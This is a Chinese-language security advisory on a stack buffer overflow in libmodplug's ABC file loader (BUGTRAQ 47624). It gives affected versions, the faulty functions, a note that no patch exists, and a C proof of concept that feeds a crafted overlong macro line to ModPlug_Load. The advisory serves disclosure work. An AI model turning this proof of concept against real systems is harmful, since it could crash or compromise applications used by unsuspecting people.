libmodplug “load_abc.cpp”远程栈缓冲区溢出漏洞


发布日期:2011-04-28
更新日期:2011-05-04

受影响系统:
libmodplug libmodplug 0.8.8 2
libmodplug libmodplug 0.8.8 1
libmodplug libmodplug 0.8.7
libmodplug libmodplug 0.8.7
libmodplug libmodplug 0.8.6
libmodplug libmodplug 0.8.4
libmodplug libmodplug 0.8
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 47624

Libmodplug是用于播放mod类音乐格式的开源函数库。

libmodplug "load_abc.cpp"在实现上存在远程栈缓冲区溢出漏洞,远程攻击者可利用此漏洞以使用受影响库的应用程序用户权限执行任意代码,造成拒绝服务。

此漏洞源于src/load_abc.cpp "abc_new_macro()"和"abc_new_umacro()"函数中的边界错误,通过诱使用户打开特制的ABC文件造成栈缓冲区溢出。

<*来源:epiphant
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

epiphant ()提供了如下测试方法:

#include <libmodplug/modplug.h>
#include <stdio.h>
#include <string.h>

/*
libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc

http://modplug-xmms.sourceforge.net/

by: epiphant

this exploits one of many overflows in load_abc.cpp lol

vlc media player uses libmodplug

greets: defrost, babi, ming_wisher, emel1a, a.v., krs

date: 28 april 2011

tested on: CentOS 5.6
*/

int main(void)
{
  char test[512] = "X: 1\nU: ";
  unsigned int i;

  i = strlen(test);
  while (i < 278)
    test[i++] = 'Q';
  test[i++] = '1' + 32;
  test[i++] = '3';
  test[i++] = '3';
  test[i++] = '4';
  while (i < 286)
    test[i++] = 'A';
  test[i++] = '\n';
  test[i] = '\0';

  strcat(test, "T: Here Without You (Transcribed by: Bungee)\n");
  strcat(test, "Z: 3 Doors Down\n");
  strcat(test, "L: 1/4\n");
  strcat(test, "Q: 108\n");
  strcat(test, "K: C\n\n");
  strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]\n");

  i = strlen(test);
  ModPlug_Load(test, i);

  return 0;
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

libmodplug
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://modplug-xmms.sourceforge.net/

相关内容